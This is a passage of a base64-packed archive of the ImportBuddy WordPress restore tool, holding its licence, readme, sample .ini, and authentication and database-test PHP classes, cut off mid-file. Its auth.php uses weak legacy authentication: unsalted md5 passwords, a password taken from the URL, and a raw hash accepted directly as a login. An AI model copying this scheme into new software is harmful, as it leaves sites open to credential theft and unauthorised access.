SBkaXN0cmlidXRpb24gYW5kL29yIHVzZSBvZiB0aGUgUHJvZ3JhbSBpcyByZXN0cmljdGVkIGluCmNlcnRhaW4gY291bnRyaWVzIGVpdGhlciBieSBwYXRlbnRzIG9yIGJ5IGNvcHlyaWdodGVkIGludGVyZmFjZXMsIHRoZQpvcmlnaW5hbCBjb3B5cmlnaHQgaG9sZGVyIHdobyBwbGFjZXMgdGhlIFByb2dyYW0gdW5kZXIgdGhpcyBMaWNlbnNlCm1heSBhZGQgYW4gZXhwbGljaXQgZ2VvZ3JhcGhpY2FsIGRpc3RyaWJ1dGlvbiBsaW1pdGF0aW9uIGV4Y2x1ZGluZwp0aG9zZSBjb3VudHJpZXMsIHNvIHRoYXQgZGlzdHJpYnV0aW9uIGlzIHBlcm1pdHRlZCBvbmx5IGluIG9yIGFtb25nCmNvdW50cmllcyBub3QgdGh1cyBleGNsdWRlZC4gIEluIHN1Y2ggY2FzZSwgdGhpcyBMaWNlbnNlIGluY29ycG9yYXRlcwp0aGUgbGltaXRhdGlvbiBhcyBpZiB3cml0dGVuIGluIHRoZSBib2R5IG9mIHRoaXMgTGljZW5zZS4KCiAgOS4gVGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiBtYXkgcHVibGlzaCByZXZpc2VkIGFuZC9vciBuZXcgdmVyc2lvbnMKb2YgdGhlIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZnJvbSB0aW1lIHRvIHRpbWUuICBTdWNoIG5ldyB2ZXJzaW9ucyB3aWxsCmJlIHNpbWlsYXIgaW4gc3Bpcml0IHRvIHRoZSBwcmVzZW50IHZlcnNpb24sIGJ1dCBtYXkgZGlmZmVyIGluIGRldGFpbCB0bwphZGRyZXNzIG5ldyBwcm9ibGVtcyBvciBjb25jZXJucy4KCkVhY2ggdmVyc2lvbiBpcyBnaXZlbiBhIGRpc3Rpbmd1aXNoaW5nIHZlcnNpb24gbnVtYmVyLiAgSWYgdGhlIFByb2dyYW0Kc3BlY2lmaWVzIGEgdmVyc2lvbiBudW1iZXIgb2YgdGhpcyBMaWNlbnNlIHdoaWNoIGFwcGxpZXMgdG8gaXQgYW5kICJhbnkKbGF0ZXIgdmVyc2lvbiIsIHlvdSBoYXZlIHRoZSBvcHRpb24gb2YgZm9sbG93aW5nIHRoZSB0ZXJtcyBhbmQgY29uZGl0aW9ucwplaXRoZXIgb2YgdGhhdCB2ZXJzaW9uIG9yIG9mIGFueSBsYXRlciB2ZXJzaW9uIHB1Ymxpc2hlZCBieSB0aGUgRnJlZQpTb2Z0d2FyZSBGb3VuZGF0aW9uLiAgSWYgdGhlIFByb2dyYW0gZG9lcyBub3Qgc3BlY2lmeSBhIHZlcnNpb24gbnVtYmVyIG9mCnRoaXMgTGljZW5zZSwgeW91IG1heSBjaG9vc2UgYW55IHZlcnNpb24gZXZlciBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUKRm91bmRhdGlvbi4KCiAgMTAuIElmIHlvdSB3aXNoIHRvIGluY29ycG9yYXRlIHBhcnRzIG9mIHRoZSBQcm9ncmFtIGludG8gb3RoZXIgZnJlZQpwcm9ncmFtcyB3aG9zZSBkaXN0cmlidXRpb24gY29uZGl0aW9ucyBhcmUgZGlmZmVyZW50LCB3cml0ZSB0byB0aGUgYXV0aG9yCnRvIGFzayBmb3IgcGVybWlzc2lvbi4gIEZvciBzb2Z0d2FyZSB3aGljaCBpcyBjb3B5cmlnaHRlZCBieSB0aGUgRnJlZQpTb2Z0d2FyZSBGb3VuZGF0aW9uLCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyB3ZSBzb21ldGltZXMKbWFrZSBleGNlcHRpb25zIGZvciB0aGlzLiAgT3VyIGRlY2lzaW9uIHdpbGwgYmUgZ3VpZGVkIGJ5IHRoZSB0d28gZ29hbHMKb2YgcHJlc2VydmluZyB0aGUgZnJlZSBzdGF0dXMgb2YgYWxsIGRlcml2YXRpdmVzIG9mIG91ciBmcmVlIHNvZnR3YXJlIGFuZApvZiBwcm9tb3RpbmcgdGhlIHNoYXJpbmcgYW5kIHJldXNlIG9mIHNvZnR3YXJlIGdlbmVyYWxseS4KCgkJCSAgICBOTyBXQVJSQU5UWQoKICAxMS4gQkVDQVVTRSBUSEUgUFJPR1JBTSBJUyBMSUNFTlNFRCBGUkVFIE9GIENIQVJHRSwgVEhFUkUgSVMgTk8gV0FSUkFOVFkKRk9SIFRIRSBQUk9HUkFNLCBUTyBUSEUgRVhURU5UIFBFUk1JVFRFRCBCWSBBUFBMSUNBQkxFIExBVy4gIEVYQ0VQVCBXSEVOCk9USEVSV0lTRSBTVEFURUQgSU4gV1JJVElORyBUSEUgQ09QWVJJR0hUIEhPTERFUlMgQU5EL09SIE9USEVSIFBBUlRJRVMKUFJPVklERSBUSEUgUFJPR1JBTSAiQVMgSVMiIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsIEVJVEhFUiBFWFBSRVNTRUQKT1IgSU1QTElFRCwgSU5DTFVESU5HLCBCVVQgTk9UIExJTUlURUQgVE8sIFRIRSBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFRIRSBFTlRJUkUgUklTSyBBUwpUTyBUSEUgUVVBTElUWSBBTkQgUEVSRk9STUFOQ0UgT0YgVEhFIFBST0dSQU0gSVMgV0lUSCBZT1UuICBTSE9VTEQgVEhFClBST0dSQU0gUFJPVkUgREVGRUNUSVZFLCBZT1UgQVNTVU1FIFRIRSBDT1NUIE9GIEFMTCBORUNFU1NBUlkgU0VSVklDSU5HLApSRVBBSVIgT1IgQ09SUkVDVElPTi4KCiAgMTIuIElOIE5PIEVWRU5UIFVOTEVTUyBSRVFVSVJFRCBCWSBBUFBMSUNBQkxFIExBVyBPUiBBR1JFRUQgVE8gSU4gV1JJVElORwpXSUxMIEFOWSBDT1BZUklHSFQgSE9MREVSLCBPUiBBTlkgT1RIRVIgUEFSVFkgV0hPIE1BWSBNT0RJRlkgQU5EL09SClJFRElTVFJJQlVURSBUSEUgUFJPR1JBTSBBUyBQRVJNSVRURUQgQUJPVkUsIEJFIExJQUJMRSBUTyBZT1UgRk9SIERBTUFHRVMsCklOQ0xVRElORyBBTlkgR0VORVJBTCwgU1BFQ0lBTCwgSU5DSURFTlRBTCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgQVJJU0lORwpPVVQgT0YgVEhFIFVTRSBPUiBJTkFCSUxJVFkgVE8gVVNFIFRIRSBQUk9HUkFNIChJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEClRPIExPU1MgT0YgREFUQSBPUiBEQVRBIEJFSU5HIFJFTkRFUkVEIElOQUNDVVJBVEUgT1IgTE9TU0VTIFNVU1RBSU5FRCBCWQpZT1UgT1IgVEhJUkQgUEFSVElFUyBPUiBBIEZBSUxVUkUgT0YgVEhFIFBST0dSQU0gVE8gT1BFUkFURSBXSVRIIEFOWSBPVEhFUgpQUk9HUkFNUyksIEVWRU4gSUYgU1VDSCBIT0xERVIgT1IgT1RIRVIgUEFSVFkgSEFTIEJFRU4gQURWSVNFRCBPRiBUSEUKUE9TU0lCSUxJVFkgT0YgU1VDSCBEQU1BR0VTLgoKCQkgICAgIEVORCBPRiBURVJNUyBBTkQgQ09ORElUSU9OUwoK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/license.txt,importbuddy/license.txt
###PACKDATA,FILE_START,/_importbuddy/importbuddy/readme.txt,importbuddy/readme.txt
ICogV2Vic2l0ZTogaHR0cDovL2l0aGVtZXMuY29tCiAqCiAqIEluc3RhbGxhdGlvbjoKICogCiAqIDEuIERvd25sb2FkIGFuZCB1bnppcCB0aGUgbGF0ZXN0IHJlbGVhc2UgemlwIGZpbGUKICogMi4gSWYgeW91IHVzZSB0aGUgV29yZFByZXNzIHBsdWdpbiB1cGxvYWRlciB0byBpbnN0YWxsIHRoaXMgcGx1Z2luIHNraXAgdG8gc3RlcCA0LgogKiAzLiBVcGxvYWQgdGhlIGVudGlyZSBwbHVnaW4gZGlyZWN0b3J5IHRvIHlvdXIgYC93cC1jb250ZW50L3BsdWdpbnMvYCBkaXJlY3RvcnkKICogNC4gQWN0aXZhdGUgdGhlIHBsdWdpbiB0aHJvdWdoIHRoZSAnUGx1Z2lucycgbWVudSBpbiBXb3JkUHJlc3MgQWRtaW5pc3RyYXRpb24KICogCiAqIFVzYWdlOgogKiAKICogMS4gTmF2aWdhdGUgdG8gdGhlIG5ldyBtZW51IGZvciB0aGlzIHBsdWdpbiBpbiB0aGUgV29yZHByZXNzIEFkbWluaXN0cmF0aW9uIFBhbmVsCiAqIDIuIFNlbGVjdCAnR2V0dGluZyBTdGFydGVkJyBmb3IgaW5zdHJ1Y3Rpb25zIGFuZCBhZGRpdGlvbmFsIGluZm9ybWF0aW9uLgogKg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/readme.txt,importbuddy/readme.txt
###PACKDATA,FILE_START,/_importbuddy/importbuddy/sample.ini.txt,importbuddy/sample.ini.txt
OyBEZWZhdWx0IHZhbHVlcyBjYW4gYmUgc2VlbiBpbjogaW1wb3J0YnVkZHkvY2xhc3Nlcy9yZXN0b3JlLnBocCAob3IgYmFja3VwYnVkZHkvY2xhc3Nlcy9yZXN0b3JlLnBocCkgaW4gdGhlIF9fY29uc3RydWN0KCkgZnVuY3Rpb24sIHdoZXJlICR0aGlzLT5fc3RhdGUgaXMgZmlyc3Qgc2V0LgoKdHlwZSA9IHJlc3RvcmUKYXJjaGl2ZSA9IGJhY2t1cC1iYWNrdXBidWRkeS1YWFhYWFhYWFhYWC56aXAKc2l0ZXVybCA9IGh0dHA6Ly9maW5hbHVybC5jb20KaG9tZXVybCA9IGh0dHA6Ly9maW5hbHVybC5jb20KcmVzdG9yZUZpbGVzID0gdHJ1ZQpyZXN0b3JlRGF0YWJhc2UgPSB0cnVlCm1pZ3JhdGVIdGFjY2VzcyA9IHRydWUKCjsgQm90aCBvZiB0aGVzZSBtdXN0IGJlIHRydWUgd2hlbiB1c2luZyAuaW5pIGZpbGUuCmluaW1vZGUgPSB0cnVlCmF1dG9BZHZhbmNlID0gdHJ1ZQoKW2RhdGFiYXNlU2V0dGluZ3NdCnNlcnZlciA9IGxvY2FsaG9zdApkYXRhYmFzZSA9IGRhdGFiYXNlX25hbWUKdXNlcm5hbWUgPSBkYXRhYmFzZV91c2VyCnBhc3N3b3JkID0gZGF0YWJhc2VfcGFzc3dvcmQKcHJlZml4ID0gd3BfCnJlbmFtZVByZWZpeCA9IHRydWUKd2lwZVByZWZpeCA9IGZhbHNlCndpcGVEYXRhYmFzZSA9IGZhbHNlCgpbY2xlYW51cF0KZGVsZXRlQXJjaGl2ZSA9IGZhbHNlCmRlbGV0ZVRlbXBGaWxlcyA9IHRydWUKZGVsZXRlSW1wb3J0QnVkZHkgPSBmYWxzZQpzZXRfYmxvZ19wdWJsaWMgPSAKZGVsZXRlSW1wb3J0QnVkZHlEaXJlY3RvcnkgPSB0cnVlCmRlbGV0ZUltcG9ydExvZyA9IHRydWUK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/sample.ini.txt,importbuddy/sample.ini.txt
###PACKDATA,FILE_START,/_importbuddy/importbuddy/classes/auth.php,importbuddy/classes/auth.php
PD9waHAKY2xhc3MgQXV0aCB7CgkKCWNvbnN0IE1BWF9MT0dJTl9BVFRFTVBUU19BTExPV0VEID0gNDsgLy8gTWF4aW11bSBudW1iZXIgb2YgaW52YWxpZCBsb2dpbiBhdHRlbXB0cyBiZWZvcmUgbG9ja2luZyBpbXBvcnRidWRkeS4KCWNvbnN0IFJFU0VUX0RFRkFVTFRTX09OX0lOVkFMSURfTE9HSU4gPSBmYWxzZTsgLy8gV2hldGhlciBvciBub3QgcmVzZXQgYWxsIHNldHRpbmdzL29wdGlvbnMgYmFjayB0byBkZWZhdWx0cyBvbiBsb2dpbiBmYWlsdXJlLgoJY29uc3QgQ09PS0lFX0VYUElSQVRJT04gPSA4NjQwMDsgLy8gTnVtYmVyIG9mIHNlY29uZHMgYW4gaW1wb3J0YnVkZHkgY29va2llIGlzIHZhbGlkIGZvci4KCXByaXZhdGUgc3RhdGljICRfYXV0aGVudGljYXRlZCA9IGZhbHNlOyAvLyBXaGV0aGVyIHVzZXIgaXMgdmFsaWRseSBhdXRoZW50aWNhdGVkIG9yIG5vdC4KCXByaXZhdGUgc3RhdGljICRfY2hlY2tlZCA9IGZhbHNlOyAvLyBXaGV0aGVyIGNoZWNrKCkgaGFzIGJlZW4gcnVuIHlldC4KCQoJCgkKCS8qIGNoZWNrKCkKCSAqCgkgKiBDaGVjayBhdXRoZW50aWNhdGlvbiBiYXNlZCBvbiBmb3JtIGRhdGEgc3VibWl0dGVkLiBUaGlzIG9ubHkgbmVlZHMgdG8gYmUgcnVuIG9uY2UuIFVzZSBpc19hdXRoZW50aWNhdGVkKCkgdG8gZGV0ZXJtaW5lIGF1dGggc3RhdHVzLgoJICoKCSAqIEBwYXJhbQlmb3JjZV9jaGVjawkJYm9vbAlJZiB0cnVlIHRoZW4gd2lsbCByZS1jaGVjayBldmVuIGlmIGNoZWNrKCkgaGFzIGFscmVhZHkgYmVlbiBydW4gdGhpcyBzZXNzaW9uLgoJICoKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjaGVjayggJGZvcmNlX2NoZWNrID0gZmFsc2UgKSB7CgkJCgkJaWYgKCAoIHRydWUgPT09IHNlbGY6OiRfY2hlY2tlZCApICYmICggJGZvcmNlX2NoZWNrID09PSBmYWxzZSApICkgeyAvLyBTa2lwIGNoZWNraW5nIGlmIGFscmVhZHkgc2tpcHBlZCB1bmxlc3MgZm9yY2luZy4KCQkJcmV0dXJuIHNlbGY6OmlzX2F1dGhlbnRpY2F0ZWQoKTsKCQl9CgkJCgkJJGxvZ2luX2F0dGVtcHRfZmlsZSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvX2xvZ2luX2F0dGVtcHRzLnBocCc7CgkJJGxvZ2luX2F0dGVtcHRzID0gMTsKCQlpZiAoIGZpbGVfZXhpc3RzKCAkbG9naW5fYXR0ZW1wdF9maWxlICkgKSB7CgkJCSRsb2dpbl9hdHRlbXB0cyA9IEBmaWxlX2dldF9jb250ZW50cyggJGxvZ2luX2F0dGVtcHRfZmlsZSApOwoJCX0KCQlpZiAoIGZhbHNlICE9PSAkbG9naW5fYXR0ZW1wdHMgKSB7CgkJCSRsb2dpbl9hdHRlbXB0cyA9IHRyaW0oIHN0cl9yZXBsYWNlKCAnPD9waHAgZGllKCk7ID8+JywgJycsICRsb2dpbl9hdHRlbXB0cyApICk7CgkJCWlmICggJGxvZ2luX2F0dGVtcHRzID4gc2VsZjo6TUFYX0xPR0lOX0FUVEVNUFRTX0FMTE9XRUQgKSB7CgkJCQlkaWUoICdBY2Nlc3MgRGVuaWVkLiBNYXhpbXVtIGxvZ2luIGF0dGVtcHRzIGV4Y2VlZGVkLiBZb3UgbXVzdCBkZWxldGUgdGhlIGZpbGUgIl9sb2dpbl9hdHRlbXB0cy5waHAiIGluIHRoZSBpbXBvcnRidWRkeSBkaXJlY3Rvcnkgb24geW91ciBzZXJ2ZXIgdG8gdW5sb2NrIHRoaXMgSW1wb3J0QnVkZHkgdG8gYWxsb3cgaXQgdG8gY29udGludWUuJyApOwoJCQl9CgkJfQoJCQoJCSRhY3R1YWxfcGFzc19oYXNoID0gUEJfUEFTU1dPUkQ7CgkJaWYgKCAoICcjUEFTU1dPUkQjJyA9PSAkYWN0dWFsX3Bhc3NfaGFzaCApIHx8ICggJycgPT0gJGFjdHVhbF9wYXNzX2hhc2ggKSApIHsgZGllKCAnRXJyb3IgIzg0NTc4NDU5NzQ1LiBBIHBhc3N3b3JkIG11c3QgYmUgc2V0IHRvIGFjY2VzcyBJbXBvcnRCdWRkeS4gUGxlYXNlIGRvd25sb2FkIGEgZnJlc2ggY29weSBhZnRlciBjb25maWd1cmluZyB5b3VyIEltcG9ydEJ1ZGR5IHBhc3N3b3JkLicgKTsgfQoJCQoJCWlmICggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAncGFzc3dvcmQnICkgIT0gJycgKSB7CgkJCSRzdXBwbGllZF9wYXNzX2hhc2ggPSBtZDUoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3N3b3JkJyApICk7CgkJfSBlbHNlaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3Bhc3N3b3JkJyApICE9ICcnICkgewoJCQkkc3VwcGxpZWRfcGFzc19oYXNoID0gbWQ1KCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3Bhc3N3b3JkJyApICk7CgkJfSBlbHNlIHsKCQkJaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3YnICkgIT0gJycgKSB7IC8vIEhhc2ggc3VibWl0dGVkIGJ5IG1hZ2ljIG1pZ3JhdGlvbi4KCQkJCSRzdXBwbGllZF9wYXNzX2hhc2ggPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3YnICk7CgkJCX0gZWxzZSB7IC8vIE5vcm1hbCBmb3JtIHN1Ym1pdHRlZCBoYXNoLgoJCQkJaWYgKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdwYXNzX2hhc2gnICkgIT0gJycgKSB7CgkJCQkJJHN1cHBsaWVkX3Bhc3NfaGFzaCA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3NfaGFzaCcgKTsKCQkJCX0gZWxzZWlmICggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAncGJfYmFja3VwYnVkZHlfcGFzc19oYXNoJyApICE9ICcnICkgewoJCQkJCSRzdXBwbGllZF9wYXNzX2hhc2ggPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdwYl9iYWNrdXBidWRkeV9wYXNzX2hhc2gnICk7CgkJCQl9IGVsc2UgewoJCQkJCSRzdXBwbGllZF9wYXNzX2hhc2ggPSAnJzsKCQkJCX0KCQkJfQoJCX0KCQkKCQlpZiAoICRzdXBwbGllZF9wYXNzX2hhc2ggPT0gJGFjdHVhbF9wYXNzX2hhc2ggKSB7CgkJCXNlbGY6OiRfYXV0aGVudGljYXRlZCA9IHRydWU7CgkJCXNldGNvb2tpZSggJ2ltcG9ydGJ1ZGR5X2xvZ2luJywgbWQ1KCBQQl9QQVNTV09SRCAuICdiYWRnZXJzJyApLCAoIHRpbWUoKSsgc2VsZjo6Q09PS0lFX0VYUElSQVRJT04gKSApOwoJCX0gZWxzZWlmICggaXNzZXQoICRfQ09PS0lFWydpbXBvcnRidWRkeV9sb2dpbiddICkgJiYgKCAkX0NPT0tJRVsnaW1wb3J0YnVkZHlfbG9naW4nXSAhPSAnJyApICYmICggJF9DT09LSUVbJ2ltcG9ydGJ1ZGR5X2xvZ2luJ10gPT0gbWQ1KCBQQl9QQVNTV09SRCAuICdiYWRnZXJzJyApICkgKSB7CgkJCXNlbGY6OiRfYXV0aGVudGljYXRlZCA9IHRydWU7CgkJCXNldGNvb2tpZSggJ2ltcG9ydGJ1ZGR5X2xvZ2luJywgbWQ1KCBQQl9QQVNTV09SRCAuICdiYWRnZXJzJyApLCAoIHRpbWUoKSArIHNlbGY6OkNPT0tJRV9FWFBJUkFUSU9OICkgKTsKCQl9IGVsc2UgeyAvLyBJbmNvcnJlY3QgaGFzaC4gUmVzZXQgc2V0dGluZ3MgJiB0cmFjayBhdHRlbXB0cy4KCQkJaWYgKCAnJyAhPSAkc3VwcGxpZWRfcGFzc19oYXNoICkgeyAvLyBEb250IGNvdW50IGJsYW5rIGhhc2ggYXMgYW4gYXR0ZW1wdC4KCQkJCWlmICggdHJ1ZSA9PT0gc2VsZjo6UkVTRVRfREVGQVVMVFNfT05fSU5WQUxJRF9MT0dJTiApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6cmVzZXRfZGVmYXVsdHMoKTsKCQkJCX0KCQkJCWlmICggZmFsc2UgIT09ICRsb2dpbl9hdHRlbXB0cyApIHsKCQkJCQlnbG9iYWwgJHBiX2xvZ2luX2F0dGVtcHRzOwoJCQkJCSRwYl9sb2dpbl9hdHRlbXB0cyA9ICRsb2dpbl9hdHRlbXB0czsKCQkJCQlAZmlsZV9wdXRfY29udGVudHMoICRsb2dpbl9hdHRlbXB0X2ZpbGUsICc8P3BocCBkaWUoKTsgPz4nIC4gKCAkbG9naW5fYXR0ZW1wdHMgKyAxICkgKTsKCQkJCX0KCQkJfQoJCX0KCQkKCQlzZWxmOjokX2NoZWNrZWQgPSB0cnVlOwoJCQoJCXJldHVybiBzZWxmOjokX2F1dGhlbnRpY2F0ZWQ7CgkJCgl9IC8vIEVuZCBjaGVjaygpLgoJCgkKCQoJLyogaXNfYXV0aGVudGljYXRlZCgpCgkgKgoJICogRGV0ZXJtaW5lIHdoZXRoZXIgdXNlciBpcyBmdWxseSBhdXRoZW50aWNhdGVkIG9yIG5vdC4KCSAqCgkgKiBAcmV0dXJuCQlib29sCQlUcnVlIGlmIGZ1bGx5IGF1dGhlbnRpY2F0ZWQsIG90aGVyd2lzZSBmYWxzZS4KCSAqCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaXNfYXV0aGVudGljYXRlZCgpIHsKCQkKCQlyZXR1cm4gc2VsZjo6JF9hdXRoZW50aWNhdGVkOwoJCQoJfSAvLyBFbmQgYXV0aGVudGljYXRlZCgpLgoJCgkKCQoJLyogcmVxdWlyZV9hdXRoZW50aWNhdGlvbigpCgkgKgoJICogUmVxdWlyZXMgdmFsaWQgYXV0aGVudGljYXRpb24gdG8gYWxsb3cgcHJvY2VlZGluZy4gZGllKCkgaWYgbm90IGxvZ2dlZCBpbi4KCSAqCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVxdWlyZV9hdXRoZW50aWNhdGlvbigpIHsKCQkKCQkvLyBDaGVjayBpZiBwcmV2aW91c2x5IGF1dGhlZCBhbHJlYWR5IHRoaXMgc2Vzc2lvbi4KCQlpZiAoIHRydWUgPT09IHNlbGY6OmlzX2F1dGhlbnRpY2F0ZWQoKSApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCQoJCXNlbGY6OmNoZWNrKCk7CgkJaWYgKCB0cnVlID09PSBzZWxmOjppc19hdXRoZW50aWNhdGVkKCkgKSB7CgkJCXJldHVybiB0cnVlOwoJCX0gZWxzZSB7CgkJCWRpZSggJ0FjY2VzcyBEZW5pZWQuIFlvdSBtdXN0IGxvZyBpbiBmaXJzdC4gUGxlYXNlIHJldHVybiB0byB0aGUgPGEgaHJlZj0iaW1wb3J0YnVkZHkucGhwIj5pbXBvcnRidWRkeS5waHAgaG9tZXBhZ2U8L2E+IGF1dGhlbnRpY2F0ZS4nICk7CgkJfQoJCQoJfSAvLyBFbmQgcmVxdWlyZV9hdXRob3JpemF0aW9uKCk7CgkKfSAvLyBFbmQgY2xhc3MuCgoK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/classes/auth.php,importbuddy/classes/auth.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/classes/index.php,importbuddy/classes/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/classes/index.php,importbuddy/classes/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/classes/test-db.php,importbuddy/classes/test-db.php
PD9waHAKLyoqCiAqIEJhY2t1cEJ1ZGR5IEltcG9ydEJ1ZGR5IGNsYXNzIGZvciB0ZXN0aW5nIERCIHBlcm1pc3Npb25zCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqIEBzdWJwYWNrYWdlIEltcG9ydEJ1ZGR5CiAqIEBzaW5jZSA2LjQuMC4xMwogKi8KCi8qKgogKiBEQiBQZXJtaXNzaW9uIFRlc3RzCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqIEBzdWJwYWNrYWdlIEltcG9ydEJ1ZGR5CiAqIEBzaW5jZSA2LjQuMC4xMwogKi8KY2xhc3MgaW1wb3J0YnVkZHlfdGVzdF9kYnsKCgkvKioKCSAqIERCIENyZWRlbnRpYWxzIHBhc3NlZCB2aWEgZm9ybQoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByaXZhdGUgJGNyZWRzID0gYXJyYXkoKTsKCgkvKioKCSAqIFdvcmRQcmVzcyBEYXRhYmFzZSBDbGFzcwoJICoKCSAqIEBzaW5jZSA2LjQuMC4xMwoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgb2JqZWN0CgkgKi8KCXZhciAkd3BkYjsKCgkvKioKCSAqIEBzaW5jZSA2LjQuMC4xMwoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgYXJyYXkKCSAqLwoJdmFyICR0ZXN0cyA9IGFycmF5KCk7CgoJLyoqCgkgKiBDbGFzcyBjb25zdHJ1Y3RvciBzZXRzIHVwIHRoZSBlbnZpcm9ubWVudAoJICoKCSAqIEBzaW5jZSA2LjQuMC4xMwoJICoKCSAqIEByZXR1cm4gdm9pZAoJICovCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsKCgkJLy8gUmVnaXN0ZXIgdGhlIHRlc3RzCgkJJHRoaXMtPnJlZ2lzdGVyX3Rlc3RzKCk7CgoJCS8vIEdyYWIgdGhlIERCIGNyZWRlbnRpYWxzIGZyb20gUE9TVAoJCSRjcmVkcyAgICAgICAgICAgICA9IGFycmF5KCk7CgkJJGNyZWRzWydzZXJ2ZXInXSAgID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnc2VydmVyJyApOwoJCSRjcmVkc1sndXNlcm5hbWUnXSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3VzZXJuYW1lJyApOwoJCSRjcmVkc1sncGFzc3dvcmQnXSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3N3b3JkJyApOwoJCSRjcmVkc1snZGF0YWJhc2UnXSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2RhdGFiYXNlJyApOwoJCSRjcmVkc1sncHJlZml4J10gICA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3ByZWZpeCcgKTsKCgkJLy8gSWYgd2UgZG9uJ3QgaGF2ZSBhbGwgdGhlIGZpZWxkcywgZGllIHdpdGggZXJyb3IKCQlpZiAoICggJycgPT0gJGNyZWRzWydzZXJ2ZXInXSApIHx8ICggJycgPT0gJGNyZWRzWyd1c2VybmFtZSddICkgfHwgKCAnJyA9PSAkY3JlZHNbJ2RhdGFiYXNlJ10gKSB8fCAoICcnID09ICRjcmVkc1sncHJlZml4J10gKSApIHsKCQkJJHRoaXMtPnRlc3RzWydvdmVyYWxsX2Vycm9yJ10gPSAnT25lIG9yIG1vcmUgZGF0YWJhc2Ugc2V0dGluZ3Mgd2FzIGxlZnQgYmxhbmsuIEFsbCBmaWVsZHMgZXhjZXB0IG9wdGlvbmFsIHBhc3N3b3JkIGFyZSByZXF1aXJlZC4nOwoJCQlkaWUoIGpzb25fZW5jb2RlKCAkdGhpcy0+dGVzdHMgKSApOwoJCX0KCgkJJHRoaXMtPmNyZWRzID0gJGNyZWRzOwoKCQkvLyBSdW4gdGhlIHRlc3RzLCBvbmUgYXQgYSB0aW1lCgkJJHRoaXMtPnJ1bl90ZXN0cygpOwoJfQoKCS8qKgoJICogU2V0cyB0aGUgYXJyYXkgb2YgdGVzdHMgdGhhdCB3ZSB3aWxsIHJ1biB3aXRoIHRoZWlyIGRlZmF1bHQgdmFsdWVzCgkgKgoJICogQHNpbmNlIDYuNC4wLjEzCgkgKgoJICogQHJldHVybiB2b2lkCgkgKi8KCWZ1bmN0aW9uIHJlZ2lzdGVyX3Rlc3RzKCkgewoKCQkvLyBUZXN0cyB2YXJpYWJsZXMgdG8gcG9wdWxhdGUgd2l0aCByZXN1bHRzLgoJCSR0aGlzLT50ZXN0cyA9IGFycmF5KAoJCQknY29ubmVjdCcgICAgICAgICAgICAgICA9PiBmYWxzZSwgICAvLyBBYmxlIHRvIGNvbm5lY3QgJiBsb2dpbiB0byBkYiBzZXJ2ZXI/CgkJCSdjb25uZWN0X2Vycm9yJyAgICAgICAgID0+ICcnLCAgICAgIC8vIG15c3FsIGVycm9yIG1lc3NhZ2UgaW4gcmVzcG9uc2UgdG8gY29ubmVjdCAmIGxvZ2luIChpZiBhbnkpLgoJCQknc2VsZWN0ZGInICAgICAgICAgICAgICA9PiBmYWxzZSwgICAvLyBBYmxlIHRvIHNlbGVjdCB0aGUgZGF0YWJhc2U/CgkJCSdzZWxlY3RkYl9lcnJvcicgICAgICAgID0+ICcnLCAgICAgIC8vIG15c3FsIGVycm9yIG1lc3NhZ2UgaW4gcmVzcG9uc2UgdG8gc2VsZWN0aW5nIChpZiBhbnkpLgoJCQknY3JlYXRlZHJvcHRhYmxlJyAgICAgICA9PiBmYWxzZSwgICAvLyBhYmlsaXR5IHRvIENSRUFURSBhIG5ldyB0YWJsZSAoYW5kIGRlbGV0ZSBpdCkuCgkJCSdjcmVhdGVkcm9wdGFibGVfZXJyb3InID0+ICcnLCAgICAgIC8vIGNyZWF0ZSB0YWJsZSBteXNxbCBlcnJvciAoaWYgYW55KS4KCQkJJ3ByZWZpeCcgICAgICAgICAgICAgICAgPT4gZmFsc2UsICAgLy8gV2hldGhlciBvciBub3QgcHJlZml4IG1lZXRzIHRo